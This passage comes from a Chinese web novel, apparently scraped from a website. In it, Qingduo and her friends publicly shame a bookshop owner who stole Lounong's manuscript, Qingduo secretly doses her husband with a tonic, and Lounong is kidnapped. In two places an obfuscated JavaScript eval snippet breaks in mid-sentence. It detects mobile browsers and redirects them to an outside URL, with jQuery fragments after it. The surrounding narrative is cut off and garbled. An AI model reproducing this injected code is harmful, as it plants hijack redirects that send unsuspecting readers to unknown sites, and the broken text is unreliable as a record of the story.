朱熠心里有些感动,他拍拍青朵的肩膀:“小丫头,你还挺信任我的嘛!你放心好了!就算我挨一拳,也绝对保护好你!” 青朵“情真意切”地竖起大拇指,赞道:“不愧是赫赫有名的‘玄虎侠’!侠义心肠,舍我其谁!” 露浓被青朵逗笑,她笑道:“事到临头,我也不说丧气话了,你们是为我的事忙活,晚上我做好吃的犒劳你们。” 青朵马上接道:“见外了不是?我们是为了警醒其他人不要被骗,‘顺便’讨回你该得的润笔费。不是我俩‘为了你’,而是我们仨共同要做一件事。” 露浓一向不愿意麻烦别人,却因为话本的事,一次又一次地劳烦于她,不仅如此,她夫君还要帮自己重新出版话本。自己欠她的,实在太多太多。而青朵刻意这样说,不过是想纾解她心中的不安。露浓领了她的情意,感激道:“好,一会儿我一定卖力砸他场子。” 青朵赞道:“这才是我的露浓姐嘛!” 三人转身面朝守真堂,青朵站在最前面,她像穿上铠甲的将军,仿佛飒飒的风真将自己虚空的斗篷吹起来似的,小手一挥,她威风凛凛地叫喊道: “朱熠露浓听令!” “不破守真堂终不还!” * 在听到露浓的事后,曾正卿便已经有了主意,今日便约守真堂的对家,陈记书坊东家陈年对面的茶馆见面,不几句就谈起《画堂春》,说起赛林甫造假的事。 陈年沉吟道,“当时闹事的时候,我也听到些风头,但很快就变了风向,盛传有人讹上他,他不得已才奉上银两,破财免灾。亦真亦假,大家也无暇辨别,慢慢就淡了,现在看来,这都是从他的口中传出去的。” “他敢行此一事,恐怕就敢行其二。昔日便有耳闻,说他话本多有来路不明之处,想来指的就是这档子事。陈老板不妨暗地查探,若坐实了,便可择机聚力破其招牌。” 陈年却叹了一口气:“从前我们两家书铺,那是龙虎之斗,现在我上了岁数,人也惫懒起来,很多事,就不愿意跟他别着一口气,只想把自己的店铺经营好。可眼见他的铺子出了许多热门的话本与图画,我坦诚来说,不是不眼馋,只是没想到这里面还有如此弯弯道道!” “陈老板尚处不惑之年,正是大好年华,与其隐忍不发,不如趁此机会,揭露‘守真堂’造假,以此翻身。据我所知,这周边刻印笔记小说的,也就你两家独大,他家一倒,‘陈记’还怕没生意做吗?” 曾正卿见陈年还在犹豫,端起茶壶为他倒茶,说道:“《画堂春》的作者是我夫人的朋友,她的下册刚完成,正在寻找合作的书铺,如果陈记有意,我愿意为陈老板牵线。” 见陈年脸上露出动摇之意,他笑着又添了一把柴,道:“我有幸拜读了一部分,可惜我曾家主营经史,要不然,我定与她签订独家的合约,此后将她捧成我店中名笔,何愁没有生意?” 陈年彻底被说动,他道:“老弟说的对!既然这样,不如奋起一博!”他向前靠近,低声道,“不知老弟何时引见?最近‘守真堂’已经在售卖假的《画堂春》下册,若不尽快处理,等大众接受了假货,等真的出来,也会先入为主,觉得后来的是假的。” “不急,陈老板先看看此事来龙去脉,再做决定。”曾正卿拿出信封递给他,这些是青朵口述后,他整理的。 陈年正读信,外面响起一阵叫好声,曾正卿端杯饮茶,随意向窗外瞥一眼,见是一个男子在楼下舞棍,棍影越舞越密,像一面银色的盾,将男子挡得严严实实。喝彩声不绝于耳,顿时楼下街道人群集聚,堵个水泄不通。 不过是江湖卖艺,他收回视线,没放在心上。 陈年读完正要说话,见店小二上楼端壶添茶,便将信拢入袖中。店小二一边注入热水,热切道:“两位客观不看看楼下表演吗?那可是吴州城有名的‘玄虎侠’!还以为他只是靠着他那个县尉姐夫,没想到还有两把刷子。” 曾正卿心念一动,又向下望去,这对面就是“守真堂”,而朱熠偏偏出现在这里舞枪弄棍,如果说与露浓姑娘的事关系,他是不信的。如果他是为了这个,那么难道自己的夫人也在? 目光在朱熠附近逡巡,只有一个带着小仆帽子的矮个男子,想来是朱熠的小厮,正端着铁盘向四周的人群讨赏,每有人予钱,他都躬身感谢。曾正卿不禁纳闷,见朱熠衣着不凡,举手投足皆有贵气,分明不是差钱的主儿,却为何当街舞棍卖艺?他摇摇头,实在叫人捉摸不透。 “老弟,多谢你给我传信,这件事就包在我身上,我再收集其他的证据,一举将他击垮!”店小二转身去后面的桌子收拾,陈年低声说道。 曾正卿却没听清他说什么,“咣咣”锣声响起,棍影骤然凝滞,朱熠收棍立住,躬身行礼,他却惊出一身冷汗。 锣声一响,曾正卿方才注意到,露浓持锣站在后面阴影处。朱熠在这,露浓也那,他的夫人唐青朵还能在哪?他心头涌上不祥预感,直觉告诉他,这个场子的主导者就是青朵,于是忙起身细细向窗外搜寻。 这时露浓又敲了几下锣,大声说道:“今日我们请来‘玄虎侠’朱熠朱大侠,为我们展示棍法,大家说,精不精彩?” “精彩!” “还想不想看?” “想!” 曾正卿忙着寻找青朵,目光掠过一个又一个女子,正自心焦,那熟悉的蓝色身影蓦然浮在眼前,他心头一动,回首仔细端详那小厮,此时,那人正笑嘻嘻地将盘中铜板揣进怀里,不是青朵又是谁? 他顿时气不 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青朵手腕抖起,快板绕着手掌打旋,“嗒啷个嗒个个嗒,嗒啷个嗒个个嗒!”在炒豆般的节奏声里,她朗声道: “守真堂,赛林甫,联合骗子叫子翩, 盗取露浓《画堂春》,卑鄙无耻不给钱。 他当众允诺停下来,转身反咬把人骗。 哭天抹泪装可怜,背信弃义只为钱。 守真堂,不守真,暗地净搞鬼伎俩。 黑的能当白的卖,破铜烂铁充栋梁。 你将书稿送进去,偷梁换柱泪汪汪。 字字心血皆白费,只为他人作嫁衣裳。 赛林甫,伪君子,胡言乱语赛狗屁, 满肚都是坏诡计,表面仁义背地戏。 赛林甫,赛狗屁,颠倒黑白要警惕。 满肚都是坏诡计,表面仁义背地戏。 赛林甫,赛狗屁,颠倒黑白要警惕。 贼窝就该烂到底,不进不买少晦气! 赛林甫,赛狗屁,颠倒黑白要警惕。 贼窝就该烂到底,不进不买少晦气!” 不进不买那个少!晦!气! 她自己将最后一段重复几遍还不够,还呼吁道:“大家一起!赛林甫——” 骂人的语句总是最快被人们学会,于是围观的人们也嘻嘻哈哈地跟道:“赛狗屁!颠倒黑白要警惕!” “太妙了!太棒了!”她一边打快板,跟着节奏赞道,“再一遍!再一遍!再一遍!” 齐声的呐喊震彻街道,像巨浪拍打礁石,再向四处散去。曾正卿身在高处,眼见后面院子有人从屋中走出,仔细聆听;行人纷纷驻足,左右张望。她确实做到以一人之力带动众人,将赛林甫的丑事大肆张扬。 他的视线又落回到少女脸上,阳光似乎也格外偏爱她,衬得她光耀夺目。那楼下人如潮涌,吵吵嚷嚷,可她的声音,仍能清清楚楚地入了他的耳,泠然沁入心扉。 不安与担忧飘然而去,他双手背在身后,看着他的夫人踮脚,鼓励鼓励这个,嘉奖嘉奖那个,口中嚷嚷道:“声音越大,财源滚滚!”她在人群中打着快板转圈,像个不用外力就能自转的小陀螺,“陀螺”到处,人声震天动地。曾正卿登时忍俊不禁。 陈年见此盛状,喜得一拍大腿,连连叫好:“天助我也!天助我也!还未等我出手,就已经有人帮我宣传上了!这是祥兆!看来咱们所谋之事必成!” 曾正卿并没有回答,陈年纳闷地瞥了他一眼,见他盯着下面一处,面露微笑,柔情蜜意溢于神色,便顺着他的视线望去,正是说快板的蓝衫小厮。 他一惊非小,暗中思忖道:“曾老弟看起来为人方正,私下竟然好这口?” 34. 疑心 守真堂里空气凝结,伙计们小心翼翼觑着赛林甫阴鸷的脸色,大气都不敢喘一口。那眼神像是淬了毒药的飞刀,谁和他对上眼,就要倒地而亡。 店里大伙计大成悄悄说一句:“掌柜的,要不……要不我们出去,把他们赶走?” 赛林甫一巴掌拍到桌上,震得自个手掌阵阵生疼,他忍住当面揉按的想法,咬牙道:“咱们出面赶走?你是嫌还不够坐实吗?” 另一个小伙计又献计道:“要不,待会就让史春史大爷找个没人的地方,收拾他们一顿?” 史春就是上次被派去教训青朵和露浓的三人之首,他闻言瞪了那伙计一眼,说道:“你可知外面耍棍的那个是谁?何县尉的小舅子!平时大家都看在何县尉的面子上,别说惹他,看着了都躲避三分,你倒好,让我去触这个霉头?要去你去!我可不去!” “闭嘴!没用的废物!”赛林甫大声喝道。伙计们都低了头,一句话不敢再说。 赛林甫背着手在店里走来走去,一张老脸气得发灰,加上两腮的“虾须”,像是隔夜的虾,吃了就要跑肚拉稀。转了也许有七七四十九圈,他停住脚步,似是想到什么损人利己的妙招,手捋“虾须”阴森森地笑了。站成一排的伙计们虽未抬头,但也感到一股凉气席卷而来,像是吃了变质的虾上吐下泻,隐隐得到阎王爷他老人家的召唤,不由得打了个寒颤。 “想玩我?小丫头片子!”赛林甫挺起腰板,慢条斯理地转身吩咐道,“去!去把板子上了!今日我们不做生意了。” 大成惊讶道:“掌柜的!这岂不是遂了他们的意?” “让你做就去做!啰嗦什么!我心里自然有数!”赛林甫冷笑了几声,说道:“他们不是喜欢闹吗?那就好好地闹几场,嘿嘿!也不过就是‘暑日的蝉——叫不了几日了’!现在笑得多欢,到时候哭得就有多惨!” 他的面色好不容易恢复平静,却不知哪个收拾东西的伙计受了外面的影响,随口跟着哼道:“赛林甫,赛狗屁……”左右连连拍他,他这才一下子惊醒,讨饶道:“我错了我错了,掌柜的!您大人大量,就当我放狗屁……不不不,不是狗屁……比狗屁还……”他蓦然想起那句唱词,这不是越描越黑吗?腿一软,整个人栽倒地上。 赛林甫脸色铁青,像戴上一个青铜面具,他冷冷道:“春,带下去。好好管教!让所有人知道,背叛我的人,都没有好下场!” * “赛林甫,赛狗屁……”青朵愉快地一路哼着回家,刚打了一场胜仗青朵“将军”,迫不及待要与曾正卿分享她的战绩。 “卿卿!”她一头撞开门口的珠帘,像是给自己戴上一头珠翠,还来不及拨开,就兴高采烈道:“告诉你个大事!我今天——呼!”还未等说完,定睛看清屋里的人,她一声惊呼,忙不迭撤了出去。 珠串撩起落下,摇摆碰撞,发出清响,还未等声音平息,屋里人掀起冲出,喝道:“阿照,给我回来!我看你还能躲到什么时候!” “哼哼!都几天没来学画了?你干脆改学乐器,我瞧你退堂鼓打得挺好!” 说话的正是唐礼,青朵慢吞吞地折回来,唤了一声“爹”,抱怨道:“你干嘛总说丧气话,鼓励我不行吗?” “我不是刚夸你退堂鼓打得好吗?”唐礼冷嘲热讽道,“是哪位大小姐说,区区两幅人物图,不过小意思,不知我什么时候能看到‘小意思’?” 青朵自知理亏,赔笑道:“很快很快,我现在就去画,给您老人家端上最新鲜,最热乎的。”她拍拍胸膛保证道:“不画完,我连晚饭都不吃!” 话说得坚定不移,人一迈进屋里,看到曾正卿听了她的话,坐那冲她直笑。她回头瞄一眼唐礼还站在外面,于是几步扑到曾正卿跟前,哭丧着脸,低声道:“卿卿我要饿死啦!你务必偷偷送来些吃的!” 你不知道我今天喊得有多卖力! 这些话还来不及跟他说,后面响起珠帘摇缀乱响,青朵一哆嗦站直,连忙转向屋内,甩开手臂,向书桌走去,口中说道:“你瞧,我这就去画了。” 唐礼手背到身后,“哼”了一声:“怎么?走路也要我夸?” 曾正卿笑着帮她说和:“前番夫人偷闲数日,心中常自懊悔,与我说起此事,深以为过……” 他还未说完,里面传出青朵的声音:“对对对,深以为过,深以为过!我可不是随便的人!我的心里有杆秤的!” 曾正卿哑然失笑,唐礼板起脸训道:“‘秤’小姐,你专心一点!画贵在思,你心神不专,如何画入精微?” 里面顿时一声不响。曾正卿与唐礼闲聊一会儿,两人怕打扰青朵,去别处对酌。 屋里只留下自己小小一朵,青朵笔尖蘸墨,寥寥数笔勾勒出女子清澈的眼睛,又将墨色烘开。肚子“咕咕”作响,她一边抚肚安慰,一边懒散描眉,直到曾正卿派芳晴送来吃食,她狼吞虎咽填饱肚子,才精神一震,顿时举笔如龙蛇飞舞,成就一幅抚琴仕女图。 她左看右看,对于自己的大作甚是满意。见曾正卿和唐礼还未回来,青朵决定休息一下,先把曾正卿的药熬好。学画,“讨伐”赛林甫,还有熬药,她能同时承担三个沉重的担子,不仅如此,每一项都出色完成。 她骄傲地扬起下巴,也就是她,别人谁还能做到这种程度呢? * 曾正卿回房时见青朵不在,问了芳晴才知道青朵去熬药。 芳晴道:“少夫人对少爷可上心了,熬药她从不假人之手,都是亲力亲为。” 她本是想让曾正卿知道青朵对他的用心,曾正卿闻言却心中一动,他问道:“你可知夫人熬的是什么药?” 芳晴摇头道:“奴婢不知,清洗、浸泡、煎煮,以及后面的药渣处理,都是少夫人亲自完成,她熬药的时候也不允许我们在。” 曾正卿陷入沉吟,他想起第一次喝这药的场景,当时他以为这是青朵贤妻表现中的一环,未作深想。但最近她已经好久没有扮作贤妻,显然是忘到脑后,独独将熬药一事延续至今。这二者之间,难不成毫无关联? 转念一想,他陡然惊觉,自己身体上的异样,那日益加深的躁动,好像就是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15629610|167080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从喝“补药”开始。他眉头紧锁,正自心惊。青朵端着一碗药走进,见到他奇道:“怎么只你一人?我爹呢?” “岳父喝多了,我安排他住下了。” 青朵不满地嘟嘴道:“他是来喝酒,还是来督促我作画的?还说我半途而废,哼,五十步笑百步。” 她又想起一事,后悔道:“哎呀!他不该喝酒的!他手抖的毛病还没好,大夫特意嘱咐,不让他碰酒!” 曾正卿一怔,想了想说道:“岳父手抖吗?” “怎么不抖!”青朵放下药碗,手伸到曾正卿面前,模仿唐礼颤动起来,“喏,就这样,像孔雀震屏求偶似的。” 曾正卿不禁笑出声,他仔细想一想,道:“可能是我没注意吧。”说话间,他的身子朝青朵微侧,桌上苦涩的药味直冲鼻腔,引出他的疑虑,于是指着药碗问道:“夫人,这里面都是什么药?” “这个嘛……”青朵吞吞吐吐,眼睛直觑芳晴。芳晴识趣地退下。曾正卿以为她要说明,谁知她只含糊说道:“是对你身体好的药。” 曾正卿几乎是一瞬间确认:这药有问题,这药绝对有问题!他缓缓说道:“如果夫人不说清楚,以后,我是不会喝的。” 青朵一听顿时急了,她忙道:“不行不行,你得喝,卿卿,你还不相信我吗?我可不会害你!” 曾正卿暗中叹气:你断不会存心害我,却会在无形之中“害”我。我是万万不敢轻信于你! 他嘴上却说道:“我当然信得过夫人,不过夫人不肯据实相告,倒是不信我。” “信你信你!”青朵连忙接道,“你不要有负担,这就是补神的药方。最寻常不过了!” 曾正卿凝视她的眼神,似笑非笑:“既然不过是寻常补神的药……呵,夫人一直为我熬药操劳,理应先饮此杯。” 青朵张口结舌,她为什么要喝?她又没有需要起来的玩意儿!于是诚实地摇头道:“我不喝。” “那我也不喝。”曾正卿将药碗往前一推。 “你得喝!”青朵用力推回去,药汤剧烈摇晃,汁水溅到桌上。 “我为什么要喝?” “因为你不……”青朵及时止住,换了下面的内容说道,“你不能不喝。” 曾正卿直接站起,作势要走,他说道:“我先回书房了。” “哎哎哎!”青朵一把揪住他的胳膊,死死地抱住,指甲差点掐进他的皮肉,她嚷道:“我喝我喝!别走别走!” “真的就是寻常的补神药……”青朵端起药碗,欲哭无泪。苍天啊!她喝了这种适用于男人的药,会不会长出男人的东西来?就这一次,应当不会吧? 唉!谁让卿卿不举呢!她怜惜地望向曾正卿,柔肠百转,嗯!江湖侠女最讲义气,卿卿已经养了这么久,决不能在即将成功的时候再次塌下! 心中的无奈化为一腔壮烈,青朵一时释怀,仰头将碗中药汤一饮而尽,颇有几分“笑谈渴饮匈奴血”的慨然。 曾正卿却皱眉心道:“喝药就喝药,刚才瞧我的悲悯神色,是怎么回事?” 35. 颠倒 青朵将碗底翻过来:“我都喝了,这回你信……呕!”一声干呕之后,她擦去眼角的泪花,委屈道:“好苦!” “总之,总之,这确实只是补神的药,小厨房里还有,我端来给你!” “不必劳烦夫人,一会我叫丫头送我书房去。” 青朵终于松了口气,还好还好,只要他肯答应继续喝药,自己受点苦,也值了。她请曾正卿欣赏新画的抚琴图,说了自己唱快板当街要塞林甫好看的事,得了他好一番赞赏,沾沾自喜不已。 曾正卿特意嘱咐道:“此事下不为例,我已经和陈记书铺陈老板打好招呼,待他与露浓姑娘签订契约,讨回《画堂春》一事,自会由他两家妥当交割。” 青朵心下不悦,暗道:曾卿卿怎么跟露浓姐姐一下,啰里啰嗦的。他有他的办法,我也有我的办法呀! 她很是不服气,刚想与他辩论,对上他凝重的目光,话又缩了回去。 又嘀咕道:要是自己说出口,只会招来他的一顿说教,还是闭嘴大吉。于是点头胡乱应了,曾正卿放心下来,自去不提。 已是深夜,青朵坐在桌旁,本想一口气将另一幅男子的图也画完,却怎么也没有想法。千头万绪像是跟她玩起孩童游戏,她想抓住一个,另一个就又在身后拍拍她,她转身又去捉那一个,所有思绪嘻嘻笑着,远远跑开,她一个也捉不到。 满心的懊恼反而激发她的斗志。哼,她就不信她青朵大师画不出来!她鼓起腮帮,托着下巴冥思苦想。 在一片寂静中,她好像听到水声。纳闷地抬起头,透过窗子向外看,顿时眼睛瞪得滚圆。竟然有个男人在她的院子里洗澡! “你你你你是谁?”青朵慌忙问道。 那人闻声止住动作,回头望过来,青朵的脑袋“嗡”的一声轰鸣:“卿卿?”她结结巴巴地问道:“你……你怎么……怎么在院子里洗澡?” 曾正卿只是微微一笑,朝她伸出手:“一起?” 在院子里?大庭广众之下,岂不是被人看光?再说,男子与女子一同洗澡,这叫什么话! 不知是受到他的提议的冲击,还是夏日夜晚的密不通风,她整个人晕晕乎乎的,似乎院子里热水的蒸汽也涌入屋子,她迷失在一片白茫茫中。只有他,笑容如月辉倾洒,勾人心魄,是大雾中唯一的明晰。 所有的理智融入水雾,蒸腾成渺茫。青朵不自禁抬起手,缓缓伸向前,卿卿的手近在咫尺,只要再向前一点,她就能与他十指交缠。 水流顺着他隆起的手臂蜿蜒而下,晶莹的水珠一滚,就坠落到青朵的心尖上,颤悠悠地痒。 身上冒出一种从未有过的冲动,青朵直勾勾盯着他紧实的臂膀,情不自禁说服自己,没事的,他是自己的夫君,就算共浴,也不算是越轨。 只是,自己与卿卿拥抱过那么多次,却从未留心他的臂膀,还好他是自己的夫君,就算摸一摸,也不算是不守妇道。 她的脑中突然浮现一次又一次,看到曾正卿身体的片段。沐浴时的红痣,换衣服时的背脊,未顺利洞房时的那一处……零零碎碎,分外香艳,却拼不出完成的他。 青朵毫不犹豫地就要抓住他的手,她要看到更多,她要了解更多,她如此迫切。 他是酸甜的梅。 青朵咽了咽口水,正迷迷糊糊之际,手上却突然传来一阵剧痛,下意识冒出一个念头,是自己不知羞耻馋他的身体遭到报应了。可就差那么一点,眼见美梦就能成真,这一瞬,她咬紧牙关,继续向前伸…… “啊!”她还是被痛得缩回手。霎那间,氤氲的白雾,眼前诱人的卿卿,一切都消失不见。青朵难以置信地站起身,向窗外探去,确实没有人,也没有浴桶,地上更没有水渍。只是漆黑一片的院子,还有不知名的虫吟。 手指隐隐作痛,她展开手掌,直愣愣地盯着手指上灼伤的红痕,又看向桌上的烛火,方知一切不过是一场幻梦。 她呆呆地坐下,回想刚才见到的场景,久久难以抽身。目光落到桌上的熟绢,眼神一亮,抄起笔来,一边回想着梦中的旖旎,一边速速绘制,只怨自己的手跟不上回想的速度,恨不得生出八只手来。 画中的男子侧身而立,岩岩若古柏之温厚,任它东南西北风,也端直如故,稳健沉毅。唇边衔着温软笑意,眸光藏匿幽深漩涡,观画者与之相对,直教人心旌摇曳,神为之夺。 青朵痴痴地与他对望,手指轻轻抚过他的眉,他的眼,他的唇……她蓦地想起,他偷吻时唇瓣的触感,指下的画似乎也带了温度,沿着手臂一路烧到脸上去了。 她不由自主摸了摸自己的唇,唇间的呼吸也是滚烫的。她想道:我一定是醉了。可我并没有喝酒,哪里来的醉意呢? 昏昏沉沉,飘飘荡荡,恍惚中,好像有什么东西从自己心里长出来了,好像是……葡萄藤的脚,细细的,小小的,它荡悠着,似是在寻找什么,一找到,就能附着他,紧紧爬上去,爬上去…… 正是:夜深伴烛影,波澜相顾生。劲臂挽明月,情愫有无中。 …… 曾正卿好奇青朵昨夜喝药后的反应,次日一早便回到屋子,却见青朵双臂直直在桌面伸展,脸贴着桌面,沉沉睡着。他轻声走近,刚想唤醒她到床上休息,无意瞥见压在下面的画,心猛地一跳——这画中人竟是自己。 错愕之余,曾正卿的耳尖泛起薄红,这无声的吐露,猝不及防撞乱他的心跳,一室寂静中,只有战鼓隆隆。 他抬眼向窗外看去,夫人偏爱繁花,他早早命人在院中遍植时令花卉。正是菊花灿烂时,西湖柳月融融冶冶黄,飞鸟美人流霞漫卷,凤凰振羽欲飞展翅。丝丝缕缕的花瓣在风中轻颤,半舒半卷,欲说还休。 * 朱熠四下寻找,最后在一家“老吴州”凉饮铺子找到青朵,她懒散倚坐,慢腾腾地吃着冰酥酪。 “喂!我不过晚来一会儿,你就享受上了?”他不满地质问道。 青朵虚弱道:“别提了,昨晚天热,我浑身也燥得紧,怎么都睡不着,就画了一整晚,都没休息好,今天实在没有力气打快板了。” 朱熠听她声音嘶哑,语气也软和下来:“既这样,便放到明日,反正昨日在守真堂的那场效果不错,我一路过来时,还听到有人在谈论此事。” “我们得按照地图上的地点,坚持宣扬出去才行。你不必担心,我已经安排好了,计划照常进行。”青朵说道。 朱熠好奇道:“你怎么安排的?” 话音刚落,就听到外面此起彼伏的叫喊:“赛林甫,赛狗屁,颠倒黑白要警惕。贼窝就该烂到底,不进不买少晦气!”声音稚嫩,明显是一群孩童。 朱熠惊讶地张大嘴巴,向青朵道:“怎么回事?” “哦,找了几个孩子替咱们喊。”青朵轻描淡写。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15646389|167080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “这可不是‘几个’!” “也就不过五十个。”她淡淡道。 “五十个?你找了五十个小孩?”朱熠更是惊诧,他牢牢盯着她,“你让一群孩子都听你的指挥?怎么做到的?” “咳,这算什么,不过是小小的驭人之术!我也就会一点皮毛而已!”青朵疲惫的脸上现出得意之色,“朱大哥,再点两份冰酥酪,‘老吴州’不愧是吴州城的老字号,手艺就是了得。一会露浓姐来,你们两个都尝尝,我请客!” 之前曾正卿透露出要购置书画铺,托刘恪帮着打听。刘恪不负所托,在柳条街找到一家出卖的铺子,店铺虽然不大,巧在位置,正在唐礼与珠娘所住的附近。 这正合他的心意。夫人屡次因画作收入低微而灰心丧气,他早就有了购置画铺暗中扶持的想法。既然上次酒醉夫人提过想转攻花鸟,便索性放出风声高价收购冷门花鸟图。待她在岳父家习画完毕,出来走不久就能找到这家画铺。那时,他这东风,便能送她上青云。 曾正卿甚至都能想到,青朵卖了画作,像雀儿般欢跃,蹦跳出画铺的模样。就连执笔签署契约时,嘴角也含着温情的笑。 忙完这一切回到自家书铺,刚进门,掌柜的就拦住他说,“老吴州”冷饮铺子的小二找他。 曾正卿一怔,那小二上前,点头哈腰问好,然后送上一张纸,说道:“曾老板,这是一位夫人托我给你的,她说你瞧了就明白了。” 曾正卿接过打开一瞧,纸上画着一个女子,一手抖落荷包,神色懊恼。他不禁莞尔,想来是夫人在冷饮铺子吃了东西,临了发现银钱未带足,就命店小二找到此处。 果然,那小二堆笑作揖:“这位夫人光顾本店,一眼就瞧上了咱们的冰酥酪,直夸滋味儿地道,只是手中紧了些,便让小的来寻你支应支应。” 他折起画纸放入袖中,随口问道:“她点了几份?” “夫人点了不少呢!” 曾正卿听得眉头紧蹙,唉,他劝告的话,又被当成耳边风,夫人贪食冰酥酪,只怕晚上又要肚子疼。少不得要提前准备好治腹痛的良药。 他未想到的是,这数字属实“惊人”。 小二笑容满面:“共计五十三。” * 露浓急匆匆地赶去与青朵他们相聚,路上剃头、卖货郎、磨刀匠喊声嘹亮,都无法打动她一分一毫,直到听到有卖茉莉手串的,心念一动,停下脚步,细心挑了两串花苞又大又白的,想到青朵将两串洁白戴在手上,笑得合不拢嘴的样子。 “小青朵一定喜欢。”露浓付了钱,放进囊中,一身愉悦,脚步轻快地继续赶路。没走几步,冷不丁有个人斜撞过来,她被撞得后退几步,那人却“哎哟”一声倒地不起。 露浓吓了一跳,仔细一看,竟然是撞到一位拄拐的老爷爷。连忙上前扶他起来,连连道歉。老人哎呦声不断,紧紧拽着露浓不放手,说他腿痛无法自己回去,要露浓送他回家。 露浓心中有愧,自然答应,扶着他走过热闹集市,穿过重重巷子,走向人声渐息的偏僻地方。 她心中渐觉奇怪,开始时身边的老人还慢腾腾,难以使劲的样子,不知为何,越到此处,脚步越快,不像她扶他,倒像是他拖着她。 她停下来问道:“老人家,你的腿脚可好了?” 那老人却阴沉一笑:“咱也没受伤啊!” 36. 怪罪 露浓一惊非小,当即松手,那老人反过来捉住她的胳膊,露浓怒道:“放开我!” 那人道:“姑娘别怕,我们不会对你做什么。不过是想跟你谈谈有关《画堂春》的事,只要你能答应我们的要求,我们一定恭恭敬敬地送你走。” 露浓顿时明白他们是赛掌柜的人,挣扎得更厉害了,可胳膊被那老人紧紧箍住,竟挣不开,她拼命喊叫:“救命!救命!” 呼唤声起了作用,附近的院门“吱呀”一声响,走出两个男子,露浓连忙求救:“两位大哥,这人我不认识,他非抓着我不放!请救救我!” 那两人对视了一眼,抱臂立在原地笑道:“刘老二,你就会吹牛,还说自己能把事办妥,怎么把客人惊吓成这样!” 他们竟是一伙的!露浓瞬间浑身发冷,眼见对面两人渐渐逼近,她刚要张口大声呼救,却被人劈手捂住嘴,求救声闷在他的手心里。接着,整个人被粗暴抬起,塞进院子里。 门扉重重合拢,发出断断续续的吱呀声。小巷重恢复原来的寂静,仿佛什么也没发生过。 * 冰酥酪变成温酥酪,温酥酪又变成热酥酪,青朵他们也没有等来露浓。 “露浓姐姐赖床了?或者,她忘了咱们的约定了?”青朵猜测道,随后又摇摇头,这事她干得出来,露浓姐最是一丝不苟,她不会的。 月上柳梢,露浓还是没有来。青朵与朱熠坐不住了,一起决定去露浓家里找她,没想到她家里是锁着的。青朵知道露浓的钥匙藏在哪,找出钥匙,两人进屋等着,可一直等到弯月爬至中天,也没看到露浓。 这下子,别说朱熠,连青朵也不安起来,她敲开左右邻居的门,跑回来时,哭丧着脸,对朱熠说:“露浓姐姐上午就出门了!必定是找咱们去了,可咱们也没看到她啊!” 这印证了他不祥的预感,朱熠只觉得浑身的血液都涌到头上:“我就觉得心里堵得很!她一定是出事了!我得去找她!”说着就要冲出去。 青朵一把拉住他,嚷道:“傻子哥!我们都不知道她在哪,你到哪儿去寻她?” “那我们也不能干坐着!我去找我姐夫,让他多派些人,和咱们一起去找!” 青朵眼睛亮起来,她连声附和:“对对对,找姐夫来!” 轰隆隆的敲门声响起,像是阎王的催命符,惊起一巷犬吠,此起彼伏。 何进匆匆打开门,发现外面站着自己的小舅子,不满化为一声叹息:“虎子,你还是这么莽撞!” “姐夫不好了!”朱熠嚷嚷道,还未等说完,孩子的啼哭声由远及近,一个与他眉眼有几分相似的女子,抱着孩子走来,她把孩子往何进怀中一放,一把掐住朱熠的耳朵,饶是朱熠一身功夫,此时也无法躲闪。 她咬牙切齿道:“朱熠!你犯什么毛病!大晚上的敲这么响!我刚把小彦哄睡着,就被你这莽瓜吵醒!现在可好了,他又哭个不停,你!你赔我安宁!” “还有什么‘姐夫不好了’!你嘴里能不能说点好听的?” 朱熠身后闪出一个小巧的女子,咋呼程度比朱熠是有过之无不及,她张牙舞爪,手舞足蹈道:“姐姐姐夫不好了!不,不是你们不好了,是露浓,不不不,是朱熠的心上人不好了!” 何进一边拍着小彦的背哄孩子,皱着眉向夫人问道:“灿娘,这也是你的亲戚?” 朱熠的姐姐朱灿一时愣住,盯着青朵仔细辨认,手不觉松了,朱熠趁机逃脱,他躲到一个角落,简略将事情经过说明,朱灿听到朱熠又惹了乱子,气不打一处来,又连连拍打朱熠好几下,打的他“哎呦哎呦”。 何进劝了几句,沉吟道:“照你们这么说,这位姑娘平素除了你们俩,和旁人压根没有什么交道,与她有梁子的,也就守真堂的那个掌柜,如今她平白无故不见踪影,要说谁最可疑,也就是那姓赛的了。” 朱熠叫喊道:“我这就去找他要人!”说完就要冲出去。却被朱灿拽住,急道:“你去有什么用!那掌柜的还能承认是自己私自扣人?这可是犯法的!” “那怎么办?露浓上午就出门了,要是早就被他们抓了,不知道要吃多少苦头!”朱熠一意孤行,“除了他,也没有别人了!他不承认,我就进去搜,一直到找到露浓!” 何进大喝一声:“胡闹!”朱熠畏惧姐夫,顿时止步不敢多言,何进把孩子交还给朱灿,说道:“我去探一探虚实。现在就走,或许还能找到些踪迹,何况失踪的是位姑娘,要越快越好。” 青朵抱拳,连连道谢:“谢谢姐夫,谢谢姐夫!” 何进与朱灿对视一眼,谁也不知道这是哪门子的亲戚。 朱熠一马当先冲了出去,青朵“二马”紧随在后,“一马”回头命令道:“青朵,你去露浓家里守着,如果她回来了,你就来给我们报信!” 青朵一叠声答应着,掉头吭哧吭哧地跑远了。 * 夜深人静,月亮隐在一团黑云中,只留下银边昭示她的存在。青朵坐在杏树下的凉塌上,杏树黑压压的一团,簌簌作响,似是在逼问青朵,她的主人去哪了。 